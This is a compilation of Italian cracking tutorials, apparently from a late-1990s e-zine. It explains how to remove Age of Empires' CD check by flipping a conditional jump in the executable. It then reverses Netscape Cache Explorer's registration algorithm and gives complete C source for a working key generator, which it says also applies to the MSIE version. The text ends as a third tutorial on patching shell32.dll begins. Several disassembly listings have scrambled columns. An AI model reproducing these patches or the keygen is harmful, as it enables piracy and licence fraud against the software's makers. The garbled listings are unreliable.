crakkare il famoso (anche se un po' vecchio) gioco age of empires che normalmente richiede il cd per essere eseguito pur avendo tutti i file necessari su hd (dopo averlo crakkato non sentirete la musica che sta sul cd). Premetto che per riuscire a capire quanto e' detto sotto non e' necessario essere esperti. Per cominciare, recuperate gli strumenti necessari che sono sopra descritti. Non e' difficile recuperarli. Potete provare sui maggiori motori di ricerca. Dopo aver installato il gioco con l'installazione completa, aprite gestione risorse di windozoz, andate nella dir del gioco e fate una copia del file empires.exe. Il nuovo file creato sara' un file di backup in modo tale che se il crakkaggio vi va a merda non dovete reinstallare il gioco. Fatto ? Aprite windasm e selezionate la copia del file empires.exe Il programma provvedera' a disassemblare il file. ( se vi compaiono dei caratteri geroglifici, non vi preoccupate bisogna selezionare il font dal menu file ) Il gioco una volta eseguito controlla che il cd originale di AoE si trovi all'interno del lettore. Il risultato che viene restituito al gioco puo' essere del tipo: 1) Ok puoi girare il cd "originale" di age of empires sta nel lettore 2) Non girare, il bastardo non ha messo il cd originale E' facilmente prevedibile quale e' la conseguenza di questo controllo. Nel caso 1 il gioco partira' regolarmente senza nessun problema. Nel caso 2 il gioco fara' apparire all'utente il solito messaggio del cazzo "inserire il cd..." Il gioco allora in questo procedimento ha utilizzato un jamp condizionato, ovvero un salto che viene compiuto se il cd e' nel lettore Cerchero' di schematizzare: Controllo del cd | | jump condizionato / \ / \ il cd e' originale il cd non e' quello di age of empires | | | | salta al gioco Fa apparire il messaggio ed esce dal gioco Il jump che incontreremo sara' del tipo "jump if equal". Invertendo il salto in "jump in not equal" il gioco, al momento del controllo, partira' se non c'e' il cd nel lettore e fara' apparire il messaggio se il cd si trova all'interno. Allora vediamo un po' come procedere: Andiamo dal menu functions e selezioniamo GetDriveTypeA Clikkiamoci sopra e vi ritroverete sulla stringa n.4D65F6 Vi riporto il codice: ....... :004D65C9 :004D65CE :004D65D0 :004D65D2 :004D65D7 A114455600 85C0 7407 B801000000 EB7F mov eax, dword ptr [00564514] test eax, eax je 004D65D9 mov eax, 00000001 jmp 004D6658 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004D65D0(C) | * Possible StringData Ref from Data Obj ->"CDPath" :004D65D9 :004D65DE :004D65E4 :004D65E6 :004D65EB :004D65ED :004D65EF :004D65F1 :004D65F3 6884C65500 8B8EAC010000 6A00 E8D570FEFF 8BF8 85FF 7504 33C0 EB63 push 0055C684 mov ecx, dword ptr [esi+000001AC] push 00000000 call 004BD6C0 mov edi, eax test edi, edi jne 004D65F5 xor eax, eax jmp 004D6658 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004D65EF(C) | :004D65F5 57 push edi * Reference To: KERNEL32.GetDriveTypeA, Ord:00DEh QUI! :004D65F6 FF1554267000 :004D65FC 83F805 :004D65FF 7404 :004D6601 33C0 :004D6603 EB53 Call dword ptr [00702654] cmp eax, 00000005 je 004D6605 xor eax, eax jmp 004D6658 ....... ok, ora con la freccetta in su procediamo indietro nel codice fino a trovare: * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004D65EF(C) Questa stringa ci avverte che si e' giunti in questo punto da un salto al 4D65EF. Allora andiamo da Goto/Goto Code Location, mettiamo 4D65EF e clikkiamo su ok Ora procediamo avanti allo stesso modo di prima fino a che ci ritroveremo sulla stringa: * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004D65D0(C) Con Goto Code Location andiamo su 4D65D0. Questo e' il jump condizionato che cercavamo. Allora procediamo con la modifica del jump con Hiew. Prima di chiudere windasm prendete nota dell'offset che compare nella riga sottostante al codice che dovrebbe essere questa: Line:393202 Pg 4681 of 7380 Code Data @:004D65D0 @Offset 000D59D0 in File:empires.exe Allora l'offset e' 000D59D0 Apriamo hiew, selezioniamo il file empires.exe. Ora premiamo F4 e su Decode Mode. Ora F5 per effettuare la ricerca dell'offset quindi inseriamo D59D0 (gli 000 possono essere tolti). Ci troviamo avanti ad un jump if equal il cui codice e' 74cb. Allora proviamo ad invertire il salto con un jump if not equal di codice 75cb. Premiamo F3 e al posto di 74 mettiamoci 75. Ora F9 per salvare ed F10 per uscire. E' arrivato il momento della verita' !! Apriamo AoE (rullo di tamburi . . . ) clikkiamo su UN GIOCATORE . . . Ole' crakkaggio riuscito !(ora potete anche restituire il cd al vostro amico). Ok raga' per oggi e' tutto Il prossimo articolo: Come crakkare Virtua Cop II Per i soliti commenti, congratulazioni(mmmmm), proteste e minacce di morte potete sendatemi una mail a [email protected] Alla proxima DeViLNeT ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ +++++++++++++++++++++++++++++++++++++++++++ Un breve tutorial sui generatori di chiavi +++++++++++++++++++++++++++++++++++++++++++ by .+MaLaTTiA. // // Nota introduttiva: questo tutorial, datato originariamente ottobre 1997, e' stato il mio primo tute pubblicato da +Fravia e la versione originale e' ancora presente, in lingua inglese, all'indirizzo http://www.fravia.org/ nscekey.htm. Qua e la' sono stati aggiunti dei commenti... la traduzione comunque e' abbastanza affidabile, in quanto affidata... al sottoscritto =) Non fatevi ingannare dalla data di questo tute! Per il dovere che deve assolvere (spiegare lo studio di un algoritmo di codifica e la creazione di un generatore di chiavi) e' piu' che adatto allo scopo. Inoltre, per quanto ne so, i programmi citati utilizzano ancora lo stesso algoritmo con alcuni piccoli cambiamenti. Ricordate che in questo e in molti altri settori certe abitudini sono dure a morire! :) [Netscape Cache Explorer] Salve ragazzi, questo e' un breve tutorial su nsce. Questo programma e' un cache explorer, che mostra tutti i siti che sono stati salvati nella cache di Netscape (c'e' una versione anche per MSIE) divisi per dominio e consente di rivisitarli una volta offline. Io lo trovo particolarmente utile perche' consente anche di salvare questi siti con tutte le immagini e le pagine collegate ricostruendo automaticamente i link in esse presenti affinche' funzionino in locale. Suppongo che siate riusciti a raggiungere questa porzione di codice (ammetto di aver avuto qualche problema, a suo tempo, a trovare il punto giusto - eh, la gioventu'! - anche se era proprio sotto il mio naso... ed era sufficiente utilizzare un bpx messageboxa! :) GRAZIE +Zer0 e +ReZiDeNt per il vostro aiuto!). Ecco il codice che si occupa del controllo: :0041F88F :0041F891 :0041F894 :0041F895 6A09 8D45F4 50 FF7510 push 00000009 lea eax, dword ptr [ebp-0C] push eax ** PUSH indirizzo della PW push [ebp+10] * Reference To: USER32.GetWindowTextA, Ord:0000h | :0041F898 E84A560000 Call 00424EE7 :0041F89D 83F808 cmp eax, 00000008 ** la pw e' lunga 8 caratteri? :0041F8A0 0F85D5000000 jne 0041F97B ** NO, salta :0041F8A6 6A1F push 0000001F ** SI, vai avanti :0041F8A8 8D45D4 lea eax, dword ptr [ebp-2C] ** indirizzo ** del NOME :0041F8AB 50 push eax :0041F8AC 6A70 push 00000070 :0041F8AE 56 // push esi Breve nota. Non so se ve lo ricordate, ma la funzione API getdlgitemtexta funziona cosi': Declare Function GetDlgItemText Lib "user32" Alias "GetDlgItemTextA" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal lpString As String, ByVal nMaxCount As Long) As Long // la locazione che ci interessa (quella del NOME) e' esattamente il terzo parametro della chiamata alla funzione e, come tale, lo possiamo trovare come terzultima PUSH prima della CALL: quel "PUSH EAX" e' esattamente il terzo parametro della funzione getdlgitemtexta!!! * Reference To: USER32.GetDlgItemTextA, Ord:0000h | :0041F8AF E80B570000 Call 00424FBF ** leggi il nome :0041F8B4 85C0 test eax, eax ** nome=0 caratteri? :0041F8B6 0F84BF000000 je 0041F97B ** continua a chiedere il nome :0041F8BC 8D45F4 lea eax, dword ptr [ebp-0C] :0041F8BF 50 push eax ** salva la PW :0041F8C0 8D45D4 lea eax, dword ptr [ebp-2C] :0041F8C3 50 push eax ** salva il NOME :0041F8C4 E887020000 call 0041FB50 ** PRIMA CALL IMPORTANTE :0041F8C9 83C408 add esp, 00000008 :0041F8CC 8D45F4 lea eax, dword ptr [ebp-0C] :0041F8CF 50 push eax :0041F8D0 E8FA020000 call 0041FBCF ** SECONDA CALL IMPORTANTE :0041F8D5 59 pop ecx :0041F8D6 A320204300 mov [00432020], eax ** salva il valore :0041F8DB E99B000000 jmp 0041F97B ** torna al programma * Referenced by a (U)nconditional |:0041F86F(C) | :0041F8E0 A120204300 precedenza :0041F8E5 3B0510204300 :0041F8EB 743B :0041F8ED 6A50 :0041F8EF 8D4584 :0041F8F2 50 :0041F8F3 56 or (C)onditional Jump at Address: mov eax, [00432020] cmp eax, dword ptr je 0041F928 *** push 00000050 **** lea eax, dword ptr push eax push esi ** valore salvato in [00432010] ** IMPORTANTE! QUESTO E' IL SALTO BUONO! BAD GUY!!! [ebp-7C] Ok, diamo un'occhiata a queste righe di codice... innanzitutto c'e' un controllo relativo alla password: se essa raggiunge gli 8 caratteri allora comincia l'algoritmo, altrimenti il controllo ritorna all'utente, che puo' inserire altri caratteri per la password. Nel momento in cui la password raggiunge gli 8 caratteri, il programma legge il nome inserito e fa DUE CHIAMATE MOLTO IMPORTANTI: la prima richiede 2 argomenti, ovvero gli indirizzi in cui sono stati salvati il nome e la password, mentre la seconda richiede solo l'indirizzo del nome. Dopo queste due chiamate il controllo viene restituito all'utente e, quando il pulsante Ok viene selezionato, il programma salta all'indirizzo 41f8e0, dove controlla il valore salvato con un altro valore salvato in precedenza alla locazione di memoria 432010. Se date un'occhiata a questa locazione (a vostra scelta, utilizzando l'approccio "live" con SoftIce o il metodo dead listing con Wdsam o IDA), potrete notare che questo valore e' 190h, ovvero 400d. // Altra nota: questo valore e' la chiave su cui si basa l'intero algoritmo di protezione. Essa cambia da una versione all'altra del programma, intenzionalmente in questa sede ho deciso di darvi una chiave vecchia... funziona, ma con una versione del programma che forse non troverete neanche piu' in giro! Tanto // non vi interessa sproteggere il programma, ma volete solo imparare le tecniche... vero? :) Ora sappiamo che c'e' un algoritmo di codifica che utilizza sia il nome sia la pw per creare un solo numero, che dev'essere per forza 400. Hmmm... allora in questo caso NON ABBIAMO la password gia' pronta (ahivoi, in questo caso non funziona il trucco "data window" :)), ma dobbiamo fare un patch del programma O creare un generatore di chiavi. Poiche' il modo piu' semplice sembrava essere l'approccio "distruttivo", decisi di cambiare il "74 3b" alla locazione di memoria 41f8eb in un "eb 3b" e provai a registrare il programma con una pw qualsiasi: beh, la dialog box mi disse che la pw era giusta (adoro questo lavoro!)... ma sfortunatamente il programma NON era registrato... argh... forse qualche altro controllo... ma, essendo davvero TERRIBILMENTE pigro, ho deciso di cambiare approccio e cercare di dare un'occhiata all'algoritmo di codifica... BAMBINI, NON FATELO A CASA!!! :) Questa e' una PESSIMA pratica, nel cracking e nella programmazione! Proseguite sempre nella convinzione delle vostre decisioni, come insegna +ORC! (piccolo inciso: "ah, quante volte in gioventu' ci si e' trovati davanti ad esami in cui si cambiava esercizio di continuo, e alla fine non si combinava niente! :)). Infatti, il lavoro non e' stato affatto semplice come speravo, ma ho imparato un sacco da esso: quindi ho deciso di insegnarvi il modo in cui si prepara un bellissimo generatore di chiavi, sperando che questo algoritmo venga utilizzato ancora :) (un suggerimento: se date un'occhiata a MSIE cache explorer, noterete che esso utilizza lo STESSO IDENTICO algoritmo, semplicemente con una chiave finale diversa: 192h anziche' 190h... si sono sforzati, eh! ;)). Ora parliamo dei generatori di chiavi: la prima cosa che bisogna fare e' leggere il codice e cercare di capire esattamente cosa succede. Ora, diamo un'occhiata alla PRIMA delle due call importanti, quella all'indirizzo 41fb50: :0041FB50 :0041FB51 :0041FB53 :0041FB56 :0041FB57 :0041FB58 :0041FB59 :0041FB5C :0041FB5E 55 8BEC 83C4F8 53 56 57 8B7508 8BDE 56 push ebp mov ebp, add esp, push ebx push esi push edi mov esi, mov ebx, push esi esp FFFFFFF8 dword ptr [ebp+08] esi * Reference To: KERNEL32.lstrlenA, Ord:0000h | :0041FB5F E8CF520000 Call 00424E33 :0041FB64 83F808 cmp eax, 00000008 :0041FB67 7305 jnb 0041FB6E ** eax=lunghezza del nome * Possible Reference to String Resource ID=00008: "%d Object(s) selected" | :0041FB69 B808000000 mov eax, 00000008 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041FB67(C) | :0041FB6E 33C9 xor ecx, ecx :0041FB70 8D55F8 lea edx, dword ptr [ebp-08] ** NUOVO INDIRIZZO * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041FB7B(C) | :0041FB73 C60200 mov byte ptr [edx], 00 :0041FB76 41 inc ecx :0041FB77 42 inc edx :0041FB78 83F908 cmp ecx, 00000008 :0041FB7B 72F6 jb 0041FB73 ** Con questo ciclo il programma libera dello spazio a partire da un nuovo indirizzo in memoria "azzerando" le locazioni... uhmmm... perche'? Quando si usa il comando "mov" non e' necessario liberare prima dello spazio... proseguiamo: :0041FB7D 33C9 :0041FB7F 3BC1 :0041FB81 761A xor ecx, ecx cmp eax, ecx jbe 0041FB9D * Referenced by a (U)nconditional |:0041FB9B(C) | :0041FB83 8BD1 :0041FB85 83E207 :0041FB88 8D7C15F8 :0041FB8C 8A13 :0041FB8E 0017 or (C)onditional Jump at Address: mov and lea mov add edx, ecx edx, 00000007 edi, dword ptr [ebp + edx - 08] dl, byte ptr [ebx] byte ptr [edi], dl ** Ecco perche'!!! Il programma non usa MOV, usa un ADD!!! :) :0041FB90 :0041FB91 :0041FB94 :0041FB96 43 803B00 7502 8BDE inc cmp jne mov ebx byte ptr [ebx], 00 0041FB98 ebx, esi * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041FB94(C) | :0041FB98 41 inc ecx :0041FB99 3BC1 cmp eax, ecx :0041FB9B 77E6 ja 0041FB83 OK... cosa fa questo ciclo? L'istruzione alla locazione di memoria 41fb8c copia il valore della n-esima lettera della stringa nel registro DL, quindi questo valore viene aggiunto nelle locazioni contenute in edi (queste sono esattamente le locazioni che erano state azzerate in precedenza!). Questa procedura viene ripetuta finche' non si raggiungono 8 caratteri (se la stringa e' di lunghezza inferiore o uguale a 8 caratteri), o finche' TUTTI i caratteri della stringa non vengono inseriti nello spazio in memoria, ricominciando dalla prima locazione di memoria quando se ne raggiunge il fondo. +Zer0 --> becomes in memory --> +Zer0+Ze MaLaTTiA --> remains --> MaLaTTiA +ReZiDeNt --> becomes in memory --> *ReZiDeN Il carattere rappresentato dall'asterisco corrisponde al valore ASCII 159, cioe' 43 ("+") sommato a 116 ("t"). Ne risulta che alla fine di questa porzione di codice abbiamo una stringa di 8 caratteri che e' stata costruita a partire dal nome che abbiamo inserito... Vediamo cosa fa il programma adesso: * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041FB81(C) | :0041FB9D 33C9 xor ecx, ecx :0041FB9F 8B450C mov eax, dword ptr [ebp+0C] ** INDIRIZZO ** DELLA PW :0041FBA2 8BD8 mov ebx, eax :0041FBA4 8D75F8 lea esi, dword ptr [ebp-08] ** NUOVA STRINGA * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041FBC6(C) | :0041FBA7 33C0 xor eax, eax :0041FBA9 8A06 mov al, byte ptr [esi] ** sposta l'n-esima ** lettera :0041FBAB BF1A000000 mov edi, 0000001A :0041FBB0 99 cdq :0041FBB1 F7FF idiv edi ** al=al/1a dl=dl%1a :0041FBB3 80C241 add dl, 41 :0041FBB6 2813 sub byte ptr [ebx], dl :0041FBB8 803B00 cmp byte ptr [ebx], 00 :0041FBBB 7D03 jge 0041FBC0 :0041FBBD 80031A add byte ptr [ebx], 1A * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041FBBB(C) | :0041FBC0 41 inc ecx :0041FBC1 43 inc ebx :0041FBC2 46 inc esi :0041FBC3 83F908 cmp ecx, 00000008 :0041FBC6 72DF jb 0041FBA7 Dopo il ciclo c'e' subito un'istruzione "ret": tutta la prima parte del l'algoritmo di codifica e' qui, quindi state attenti! Il programma prende l'n-esimo valore della stringa appena creata, lo divide per il valore 1Ah (che corrisponde a 26d) ed inserisce il resto in dl. Questo e' mostrato anche nel commento che ho inserito all'indirizzo 41fbb1: usando la notazione C, abbiamo al=al/1a (divisione intera) e dl=dl%1a (resto della divisione intera). In seguito, il valore 41h (65d) viene sommato a dl e il nuovo dl viene sottratto dal carattere n-esimo DELLA PASSWORD INSERITA IN PRECEDENZA. Se il valore finale e' minore di 0, allora viene aggiunto 1Ah (26d). Alla fine di questo ciclo, la procedura termina. Ora tocca alla SECONDA call importante, all'indirizzo 41fbcf. Eccone la "versione completa": :0041FBCF :0041FBD0 :0041FBD2 :0041FBD5 :0041FBD6 :0041FBD7 :0041FBD8 55 8BEC 83C4F8 53 56 57 33FF push ebp mov ebp, esp add esp, FFFFFFF8 push ebx push esi push edi xor edi, edi * Reference To: KERNEL32.GetTickCount, Ord:0000h | :0041FBDA E8EE510000 Call 00424DCD :0041FBDF 8945FC mov dword ptr [ebp-04], eax :0041FBE2 33F6 xor esi, esi :0041FBE4 8B4508 mov eax, dword ptr [ebp+08] :0041FBE7 8BD8 mov ebx, eax * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041FC2C(C) | * Reference To: KERNEL32.GetTickCount, Ord:0000h | :0041FBE9 E8DF510000 Call 00424DCD :0041FBEE 8945F8 mov dword ptr [ebp-08], eax :0041FBF1 33C0 xor eax, eax :0041FBF3 8A03 mov al, byte ptr [ebx] :0041FBF5 03C6 add eax, esi * Possible Reference to Dialog: DialogID_000A | * Possible Reference to String Resource ID=00010: "(Empty)" | :0041FBF7 B90A000000 mov ecx, 0000000A :0041FBFC 99 cdq :0041FBFD F7F9 idiv ecx :0041FBFF 8BCA mov ecx, edx :0041FC01 33C0 xor eax, eax :0041FC03 8A4301 mov al, byte ptr [ebx+01] :0041FC06 03C6 add eax, esi :0041FC08 40 inc eax :0041FC09 51 push ecx * Possible Reference to Dialog: DialogID_000A | * Possible Reference to String Resource ID=00010: "(Empty)" :0041FC0A :0041FC0F :0041FC10 :0041FC12 :0041FC13 :0041FC16 B90A000000 99 F7F9 59 0FAFCA 03F9 | mov ecx, 0000000A cdq idiv ecx pop ecx imul ecx, edx add edi, ecx * Reference To: KERNEL32.GetTickCount, Ord:0000h | :0041FC18 E8B0510000 Call 00424DCD :0041FC1D 2B45F8 sub eax, dword ptr [ebp-08] :0041FC20 C1E80A shr eax, 0000000A :0041FC23 03C7 add eax, edi :0041FC25 8BF8 mov edi, eax :0041FC27 46 inc esi :0041FC28 43 inc ebx :0041FC29 83FE07 cmp esi, 00000007 :0041FC2C 7CBB jl 0041FBE9 * Reference To: KERNEL32.GetTickCount, Ord:0000h | :0041FC2E E89A510000 Call 00424DCD :0041FC33 2B45FC sub eax, dword ptr [ebp-04] :0041FC36 C1E80B shr eax, 0000000B :0041FC39 03C7 add eax, edi :0041FC3B 5F pop edi :0041FC3C 5E pop esi :0041FC3D 5B pop ebx :0041FC3E 59 pop ecx :0041FC3F 59 pop ecx :0041FC40 5D pop ebp :0041FC41 C3 ret Tutte queste chiamate a GetTickCount sono una protezione: probabilmente, se utilizzassimo un debugger "normale", il conto dei ticks sarebbe sbagliato e verrebbe restituito qualche messaggio d'errore... ma noi non usiamo un debugger normale: usiamo Winice! (TADAAA!) :)) Quindi, in realta' ci interessa solo una "versione breve" di questa procedura ... in seguito a un'operazione di "sfoltimento" questo e' cio' che appare: :0041FBE4 8B4508 :0041FBE7 8BD8 mov eax, dword ptr [ebp+08] ** indirizzo della ** pw modificata mov ebx, eax :HERE THE :0041FBF3 :0041FBF5 :0041FBF7 :0041FBFC :0041FBFD :0041FBFF :0041FC01 :0041FC03 :0041FC06 :0041FC08 :0041FC09 :0041FC0A :0041FC0F :0041FC10 :0041FC12 :0041FC13 resto :0041FC16 BIG LOOP STARTS: 8A03 03C6 B90A000000 99 F7F9 8BCA 33C0 8A4301 03C6 40 51 B90A000000 99 F7F9 59 0FAFCA mov al, byte ptr [ebx] ** n-esimo valore add eax, esi ** inizialmente 0 mov ecx, 0000000A cdq idiv ecx ** eax=eax/10 mov ecx, edx ** ecx=edx=edx%10 xor eax, eax ** eax=0 mov al, byte ptr [ebx+01] **(n+1)esimo valore add eax, esi ** ancora 0 inc eax ** eax=(n+1)esimo valore+1 push ecx ** salva il primo resto mov ecx, 0000000A cdq idiv ecx ** eax=eax/10 pop ecx ** carica il primo resto imul ecx, edx ** ecx=primo resto*secondo 03F9 add edi, ecx :0041FC20 :0041FC23 :0041FC25 :0041FC27 :0041FC28 C1E80A 03C7 8BF8 46 43 shr add mov inc inc eax, 0000000A eax, edi edi, eax esi ebx ** edi=edi+ecx EDI CRESCE! ** eax diventa 0 ** nessun cambiamento :) :0041FC29 83FE07 :0041FC2C 7CBB :HERE THE BIG LOOP ENDS: cmp esi, 00000007** ho scandito tutta la pw? jl 0041FBE9 ** no. Salta all'inizio. :0041FC36 C1E80B :0041FC39 03C7 shr eax, 0000000B add eax, edi ** ax=valore finale Come potete vedere, l'algoritmo dopotutto non e' COSI' difficile da comprendere... magari sara' piu' complicato fare il generatore di chiavi, ma ora possiamo ancora capire cosa sta succedendo. Il programma raccoglie i valori n-esimo e (n+1)-esimo della pw modificata, li divide per 10, quindi moltiplica il resto del valore n-esimo con quello del valore (n+1)-esimo incrementato di 1. Se date un'occhiata alle ultime righe, potete notare che il valore finale di questa somma viene salvato in eax e, se guardate la porzione di codice che compare subito dopo la call potete notare QUESTA riga: :0041F8D6 A320204300 mov [00432020], eax ** salva il valore che SALVA IL VALORE IN EAX per effettuare una successica "cmp". Quindi, QUESTO e' il valore che dev'essere uguale a 190h, cioe' 400d. Ecco il modo in cui tale numero viene costruito: r1*r2 + r2*r3 + r3*r4 + r4*r5 + r5*r6 + r6*r7 + r7*r8 =190h=400d dove r1=p1+0%10 r2=p2+1%10 r3=p3+2%10 r4=p4+3%10 r5=p5+4%10 r6=p6+5%10 r7=p7+6%10 r8=p8+7%10 e dove px e' l'x-esimo elemento della password modificata, cioe': (valore dell'x-esimo elemento della password originale-((x-esimo elemento del nome "scritto su se stesso")%26)+65)+26 (se il valore e' <0). Un casino, dite? Beh, non avete mai visto camera mia :) Comunque lo ammetto, questa situazione e' abbastanza imbarazzante,specialmente se vogliamo cercare di invertire la "funzione" (e noi lo vogliamo!): questo perche' una funzione di questo tipo, ovvero che fa uso dell'operatore resto, puo' avere un numero infinito di soluzioni (ad esempio, il resto "5" di una divisione per 10 puo' essere stato generato dai numeri "5", "15", "25" e cosi' via). Tutto cio' che dobbiamo fare, a questo punto, e' usare i nostri cervelli ... dobbiamo creare _DA_ZERO_ UNA delle INFINITE soluzioni, possibilmente la piu' semplice per noi! :) // Nota: in realta' non sono infinite - i numeri in gioco NON sono infiniti pero' sono tante, abbastanza da occupare tutti i nostri futuri weekend liberi :) // D'ora in poi, leggerete LA MIA soluzione, ma la vostra puo' essere diversa dalla mia... Se avete qualche idea che pensate sia migliore delle mie, PER FAVORE fatemelo sapere, anche io sono qui per imparare! Potete vedere il mio indirizzo email alla fine del testo. Ok, la PRIMA cosa che dobbiamo fare e' buttare giu' alcune idee: 1) Dobbiamo ridurre il numero di parametri che cambiano. 2) Dobbiamo costruire quel dannato numero 400d. 3) Dobbiamo fare un generatore di chiavi funzionante :) A questo punto, ho deciso di cominciare dal fondo: il numero 400. Come viene costruito? Beh, lo potete vedere voi stessi dalle righe precedenti... e' la somma di sette prodotti in cui il secondo membro e' il primo membro del prodotto successivo. Quindi, cerchiamo di dare alcuni valori a quegli rx per creare il numero giusto. QUESTO e' un casino... ed ecco che entra in gioco lo Zen :) Ho pensato: "Ehi, questi programmatori sono esseri umani come me,probabilmente avranno pensato a qualche numero SEMPLICE"... inoltre, i numeri da r2 a r7 vengono moltiplicati DUE volte, quindi probabilmente i programmatori avranno trovato piu' semplice utilizzare delle potenze di 2. Quindi: 1) Usa numeri facili/moltiplica 2 volte --> Ripeti lo STESSO numero il piu' volte possibile 2) Potenze di due --> parti con la potenza di 2 piu' grande che sia pero' <10, ovvero 8 In questo modo ho scoperto che il numero 400 e' costituito da (8*8)*6 + (8*2). La riga scritta in precedenza diventa: 08*08 + 08*08 + 08*08 + 08*08 + 08*08 + 08*08 + 08*02 =190h=400d r1*r2 + r2*r3 + r3*r4 + r4*r5 + r5*r6 + r6*r7 + r7*r8 =190h=400d E: r1=p1+0%10=8 r2=p2+1%10=8 r3=p3+2%10=8 r4=p4+3%10=8 r5=p5+4%10=8 r6=p6+5%10=8 r7=p7+6%10=8 r8=p8+7%10=2 -> -> -> -> -> -> -> -> p1=8 p2=7 p3=6 p4=5 p5=4 p6=3 p7=2 p8=5 (5+7=12 ; 12%10=2) Ora conosciamo i valori che la pw modificata dovrebbe avere. Ma cosa dire della password ORIGINALE? Da cosa e' costituita? Numeri? Lettere? Ora dobbiamo semplificare il nostro lavoro il piu' possibile: in un primo momento avevo pensato di utilizzare semplicemente dei numeri, ma ho notato che, se chiamiamo "x" il valore di un carattere della pw e "c" il valore di un carattere del nome "ripiegato su se stesso", si ottiene: p=(x-(65+c%26)(+26?))%10 e, se x e' un numero (ascii 48-57) e io sottraggo ad essoun valore compreso fra 65 e 65+26, anche se ad esso aggiungessi sempre 26 il valore risultante sarebbe talvolta maggiore di 0 e talvolta minore di 0. MALE: se devo lavorare con dei resti non voglio che fra essi ci siano dei "salti" come quello fra 0 (resto 0) e -1 (=255, resto 255). Per questo motivo ho deciso di utilizzare per la password le lettere dalla a alla z, in modo da avere SEMPRE dei numeri positivi e non dover neanche avere a che fare con quel (26?) :) Quindi, le p vengono costruite grazie alla seguente equazione: p=(x-(65+c%26))%10 Benissimo, ho risolto un problema ma ora ne ho un altro: come posso fare in modo che le "p" siano esattamente come quelle di cui ho bisogno? Infatti, se ho bisogno di un resto, sia la lettera n-esima sia la (n+10)-esima possono andare bene. Ho deciso di cominciare da una pw costituita da sole "a", quindi calcolare i suoi valori "p", quindi aggiungere la "differenza" fra i "p" che ho calcolato e quelli di cui ho bisogno. Proviamo con un nome semplice: MaLaTTiA :) 1) Ripiega la stringa (qui non e' necessario) 2) Dec 3) p=(97-(65+c%26))%10 (97 e' "a") 4) Valori richiesti 5) Aggiungi ad "a" 6) PASSWORD: M a L a T T i A 77 07 97 03 76 08 97 03 84 06 84 06 105 01 65 09 08 01 b 07 04 e 06 08 i 05 02 c 04 08 i 03 07 h 02 01 b 05 06 g Ehi... FUNZIONA!!! :) Questo e' tutto. Ora, ecco il sorgente C per questo generatore di chiavi (abbiate pazienza, il mio C non e' un granche'... ;) ***************************************************************************** #include unsigned char s[8]={0,0,0,0,0,0,0,0}; char string [80]; int values[8], required[8]={8,7,6,5,4,3,2,5}; int i,j,ok=0,ok2=0; void main (){ printf ("\n...//\\Oo/\\\\ Netscape Cache Explorer v1.26 KeyGen - by .MaLaTTiA. //\\Oo/\\\\...\n\n"); printf ("\nUser name: "); gets (string); i=j=0; if (string[0]==0) exit(0); while ((!ok)||(!ok2)){ if (string[j]==0){ if (!ok2) j=0; ok=1; } s[i]=s[i]+string[j]; j++;i++; if (i>7){ ok2=1; i=0; } } for (i=0;i<=7;i++){ values[i]=required[i]-((32-(s[i]%26))%10); if (values[i]<0) values[i]=values[i]+10; } printf ("Key: "); for (i=0;i<=7;i++){ printf ("%c", 97+values[i]); } printf ("\n"); } ***************************************************************************** Noto ora che non e' neanche ottimizzato... bah, funziona! :)) Credo che questo sorgente sia abbastanza semplice da comprendere, tuttavia se non comprendete qualcosa mandatemi una mail e saro' felice di aiutarvi! Ora, potete anche costruire il generatore di chiavi per MSICE, tenendo presente che il valore necessario non e' 190h ma e' 192h. Provatelo, l'algoritmo e' lo stesso! :) byez, .+MaLaTTiA. ([email protected]) NOTA DI N0bodY88 = un tnx 1000 al mitico +MaLaTTiA dei RingZ3r0 che potete trovare (e se non vi e' venuta voglia di andare al loro sito per questo art e x i prossimi 2...be...meditate il suicidio...hihihi) al l'url http://ringzer0.cjb.net e buona lettura :-) ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ UN ESEMPIO DI DLL REVERSING - COME RICONFIGURARE IL COMPORTAMENTO DI ³º º³ EXPLORER MODIFICANDO ALCUNE FUNZIONI DELLA LIBRERIA SHELL32.DLL ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ By -NeuRaL_NoiSE ______________________________________________________________________________ Salve a tutti!! Quante volte avete pensato "cacchio se 